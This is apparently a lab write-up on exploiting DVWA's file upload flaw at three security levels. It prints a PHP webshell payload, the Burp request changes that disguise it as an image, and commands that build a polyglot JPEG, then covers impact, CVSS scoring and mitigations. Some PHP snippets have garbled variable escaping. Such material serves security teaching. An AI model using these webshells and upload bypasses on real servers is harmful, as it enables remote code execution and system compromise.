File Upload in DVWA

Introduction
This post demonstrates how a file upload vulnerability in the Damn Vulnerable Web Application (DVWA) can be exploited to achieve remote code execution. The objective of the attack is to upload a malicious file to the web server in order to bypass server-side validation mechanisms and potentially execute attacker-controlled code.
File upload vulnerabilities occur when a web application allows users to upload files without properly validating them. If these validation checks are weak or missing, an attacker may be able to upload a malicious file disguised as a legitimate one. If the server processes the file as executable code, this can allow the attacker to execute arbitrary commands and potentially gain control of the system.
In this lab environment, the attack focuses on uploading a PHP webshell disguised as an image file.
The analysis is carried out across three DVWA security levels: low, medium, and high, each introducing progressively stronger security controls.
A screencast demonstrating the attack process can be viewed below:
Attack Overview
| Parameter | Description |
|---|---|
| Target application | DVWA |
| Vulnerability class | Unrestricted File Upload |
| CWE | CWE-434 - Unrestricted Upload of File with Dangerous Type |
| OWASP Top 10 | A06:2025 - Insecure Design |
| Attack vector | Web application upload form |
| Security levels tested | Low, Medium, High |
| Tools used | Burp Suite, browser developer tools, Kali Linux |
| Impact | Remote Code Execution |
Lab Environment
| Component | Configuration |
|---|---|
| Virtualization platform | Oracle VirtualBox |
| Attacker system | Kali Linux |
| Target system | Ubuntu Server 24.04 LTS |
| Application stack | Apache2, PHP 8.3.x, MariaDB |
| Vulnerable application | Damn Vulnerable Web Application (DVWA) |
| Network configuration | Host-only isolated network |
Vulnerability description
Low Security Level
At the low security level, the application performs no validation on uploaded files. The server does not verify:
File extension
File type
File content
As a result, any file can be uploaded, including executable PHP scripts.
An attacker can therefore upload a malicious PHP web shell directly to the server without restriction. When the file is accessed through the browser, the server executes the embedded PHP code, allowing the attacker to run arbitrary system commands and achieve remote code execution.
Figure 1: DVWA file upload interface used as the attack entry point.
Attack steps
- Use an existing PHP webshell
A ready-made webshell included in Kali Linux was used:
/usr/share/webshells/php/simple-backdoor.php
The payload contains:
<?php system($_GET['cmd']); ?>
This payload allows system commands to be executed through a URL parameter.
Importantly, the file was used exactly as provided, without any modification.
2. Upload the file
Navigate to:
DVWA → File Upload
Select the file:
simple-backdoor.php
Click Upload.
Because the application performs no validation checks, the file is accepted immediately.
Figure 2: Successful upload of the PHP webshell to the server.
3. Locate the uploaded file
The uploaded file is stored in:
/DVWA/hackable/uploads/
4. Execute the webshell
The uploaded script can be accessed through the browser:
http://192.168.56.3/DVWA/hackable/uploads/simple-backdoor.php
Commands can then be executed using the cmd parameter:
http://192.168.56.3/DVWA/hackable/uploads/simple-backdoor.php?cmd=whoami
Result
The server executes the command and returns:
www-data
This confirms Remote Code Execution (RCE).
Figure 3: Execution of the uploaded PHP webshell using the whoami command, confirming that commands are executed by the web server process (www-data).
Medium Security Level
At the medium security level, DVWA introduces a basic validation mechanism for uploaded files. Unlike the low security level, where any file can be uploaded without restriction, the application now attempts to limit uploads to specific image formats.
The server performs two simple checks:
file extension
MIME type
Only image files such as .jpg and .png are intended to be accepted.
While this adds a basic layer of protection, the validation is still insufficient. The application relies on information provided by the client, and both the filename and MIME type are included in the HTTP request.
Because an attacker can intercept and modify this request, these values cannot be trusted.
As a result, a malicious PHP file can be disguised as an image, and uploaded to the server by manipulating the request before it reaches the application.
Attack steps
- Prepare the PHP webshell
A simple PHP webshell was used from Kali Linux:
/usr/share/webshells/php/simple-backdoor.php
Payload:
<?php system($_GET['cmd']); ?>
2. Intercept the upload request
The file was selected in the DVWA upload form, and the request was intercepted using Burp Suite Proxy.
The original request contained:
Content-Disposition: form-data; name="uploaded"; filename="simple-backdoor.php"
Content-Type: application/x-php
Figure 4: Upload request intercepted in Burp Suite showing the original PHP file upload attempt.
3. Modify the request
The intercepted request was modified so that the file appeared to be an image.
The following changes were made:
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg
The PHP payload remained unchanged in the request body.
Figure 5: Manipulated HTTP request where the PHP file is disguised as an image by modifying the filename and Content-Type header.
4. Forward the request
The modified request was forwarded to the server through Burp Suite.
Because the application relies on the MIME type supplied by the client rather than verifying the actual file content, the manipulated request bypasses the upload validation mechanism, and the server accepts the uploaded file.
Figure 6: Successful upload of the PHP webshell to the server.
5. Locate the uploaded file
The uploaded file is stored in the DVWA upload directory:
/DVWA/hackable/uploads/
6. Execute the webshell
The uploaded script can then be accessed through the browser:
http://192.168.56.3/DVWA/hackable/uploads/shell.php
Commands can be executed using the cmd parameter:
http://192.168.56.3/DVWA/hackable/uploads/shell.php?cmd=whoami
Result
www-data
The output www-data confirms that the command was executed by the Apache web server process, demonstrating successful Remote Code Execution (RCE).
Figure 7: Execution of the uploaded webshell confirming successful remote code execution.
High Security Level
At the high security level, DVWA introduces stricter validation controls for uploaded files. Unlike the previous security levels, where validation was either absent or easily bypassed, the application now performs several server-side checks before accepting an uploaded file.
The relevant validation logic in the application code is shown below:
if( ( strtolower( \(uploaded_ext ) == "jpg" || strtolower( \)uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
This logic requires multiple conditions to be satisfied before a file upload is accepted.
Specifically, the server verifies that:
the file extension must be .
jpg, .jpeg, or .pngthe file size must be less than 100 KB
the uploaded file must pass the
getimagesize()check, confirming that it appears to be a valid image
Compared to the previous security levels, these checks significantly increase the difficulty of exploiting the file upload functionality.
However, the validation mechanism is still not completely secure. The getimagesize() function only verifies that the file contains valid image data, but it does not prevent additional data from being appended to the file. As a result, an attacker can embed malicious code inside an otherwise legitimate image.
This makes it possible to create a file that behaves both as a valid image and as executable PHP code. Files that combine multiple formats in this way are commonly referred to as polyglot files.
If such a file is processed by the PHP interpreter, the embedded <?php ?> payload may still be executed even though the file also contains valid image data.
By embedding a PHP payload inside a legitimate image file, it is therefore possible to bypass the upload validation mechanism and potentially achieve remote code execution.
Attack steps
- Copy a valid image
A legitimate JPEG image from the Kali system was used:
cp /usr/share/backgrounds/kali/kali-maze-16x9.jpg shell.jpg
- Embed the PHP payload
The PHP webshell was appended to the image file:
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
The resulting file contains:
[JPEG image data]
<?php system($_GET["cmd"]); ?>
This creates a polyglot file that functions both as a valid image and as executable PHP code.
3. Reduce file size
Because the application restricts uploads to files smaller than 100 KB, the image was resized:
convert shell.jpg -resize 50x50 small.jpg
4. Re-insert the payload
Resizing removed the payload, so it was added again:
echo '<?php system($_GET["cmd"]); ?>' >> small.jpg
Figure 8: Terminal output showing the commands used to create a polyglot image containing both valid JPEG data and an embedded PHP payload.
5. Verify the file
The file was verified to ensure it is still a valid image and within the allowed size:
file small.jpg
ls -lh small.jpg
Expected result:
valid JPEG image
file size less than 100 KB
6. Upload the file
The manipulated image file was uploaded through the DVWA interface.
If successful, it appears in:
/DVWA/hackable/uploads/
Result
The manipulated image file was successfully uploaded despite the additional validation checks implemented at the high security level. This demonstrates that the server-side validation mechanism can still be bypassed by embedding malicious code inside a legitimate image file.
Figure 9: Successful upload of the manipulated image file despite server-side validation.
Attack Methodology
In this section, the attack methodology is mapped to the Cyber Kill Chain model.
Reconnaissance
During the initial exploration of the DVWA application, the file upload functionality stood out as a potential attack surface. Features that allow users to upload files are frequently associated with security vulnerabilities, especially when server-side validation is weak or improperly implemented.
To better understand how the upload mechanism works, HTTP traffic was analysed using Burp Suite. By intercepting the upload request, it was possible to observe how the application processes the file, including the filename, MIME type, and other form parameters.
This analysis showed that several important values, such as the Content-Type header and the filename, are provided directly by the client. Since these fields can be manipulated before the request reaches the server, they became the primary target for further testing in the following stages of the attack.
Weaponization
To prepare the payload, a simple PHP webshell capable of executing system commands was selected. Kali Linux already provides several example webshells that can be used for testing purposes.
In this case, a minimal PHP backdoor was used that executes commands passed through a URL parameter. This lightweight payload makes it easy to verify whether the uploaded file can be executed by the server.
Delivery
The payload was delivered through the application's file upload functionality. By submitting the malicious file through the upload form, the payload was transferred to the server in the same way as a legitimate user upload.
The exact delivery technique varied depending on the configured DVWA security level. At lower security levels, the file could be uploaded directly, while higher levels required modifications to the upload request in order to bypass the implemented validation checks.
Exploitation
Once the malicious file had been successfully uploaded, it could be accessed directly through the web server. Because the file contained executable PHP code, the server interpreted it as a script when it was requested through the browser.
By supplying system commands through the cmd parameter, the webshell allowed the attacker to execute commands on the underlying system.
Command and Control
The uploaded webshell effectively acted as a simple command and control channel between the attacker and the compromised server. By sending HTTP requests to the script and supplying commands through the cmd parameter, the attacker could execute system commands remotely.
The server would then return the command output in the HTTP response, allowing the attacker to interact with the system through the web browser.
Actions on Objectives
Once remote code execution has been achieved, the attacker gains the ability to execute commands on the server. In this lab environment, the attack was limited to verifying command execution through the webshell.
However, in a real-world scenario an attacker could potentially use this access to:
access sensitive files stored on the server
modify application data or configuration
attempt privilege escalation to gain higher system permissions
establish persistent access to maintain long-term control of the system
Impact Analysis (CIA)
The unrestricted file upload vulnerability demonstrated in this lab can have significant security implications for the affected system. By successfully uploading and executing a malicious PHP webshell, an attacker gains the ability to run arbitrary commands on the server.
From a confidentiality perspective, this access could allow an attacker to read sensitive files stored on the system, such as application configuration files, database credentials, or other private data.
Integrity may also be compromised if the attacker modifies application files, alters stored data, or uploads additional malicious scripts to manipulate the behaviour of the web application.
Although the primary impact in this scenario relates to confidentiality and integrity, availability could also be affected. For example, an attacker might execute resource-intensive commands, delete important files, or upload large numbers of malicious files that disrupt normal application functionality.
Severity Assessment (CVSS v3.1)
The severity of this vulnerability was assessed using the Common Vulnerability Scoring System.
The vulnerability was evaluated using CVSS v3.1, which is currently widely used by vulnerability databases such as the National Vulnerability Database.
The calculated base score is 9.8 (Critical).
| Metric | Value |
|---|---|
| CVSS Version | CVSS v3.1 |
| Base Score | 9.8 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
Mitigation strategies
The vulnerability demonstrated in this lab occurs because the application does not properly validate uploaded files before storing them on the server. When upload functionality lacks proper validation, attackers may be able to upload malicious scripts that can later be executed by the web server.
Preventing this type of vulnerability requires both secure file handling practices and strong server-side validation.
Several defensive measures can significantly reduce the risk of malicious file uploads:
perform strict server-side validation of uploaded files instead of relying on client-provided metadata such as MIME type or file extension
store uploaded files outside the web root directory, so they cannot be accessed or executed directly by the web server
generate randomized filenames rather than using user-supplied filenames
validate file contents using file signatures (magic numbers) instead of trusting file extensions or HTTP headers
disable script execution permissions within upload directories
Using multiple validation mechanisms is important because relying on a single control can often be bypassed.
Secure Implementation Example
The Impossible security level in DVWA demonstrates a more secure implementation of file upload validation. In this version, the application performs stricter checks and assigns a randomized filename before storing the uploaded file.
Example validation logic:
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
\(target_path .= md5( uniqid() . \)_FILES['uploaded']['name'] );
\(uploaded_type = \)_FILES['uploaded']['type'];
\(uploaded_size = \)_FILES['uploaded']['size'];
\(uploaded_tmp = \)_FILES['uploaded']['tmp_name'];
if( ( \(uploaded_type == "image/jpeg" || \)uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
move_uploaded_file( \(uploaded_tmp, \)target_path );
}
In this implementation, the uploaded file is renamed using a randomized hash and validated before it is stored on the server. This reduces the likelihood that an attacker can upload executable files with predictable names. However, secure file upload handling should always combine multiple layers of validation together with proper server configuration.






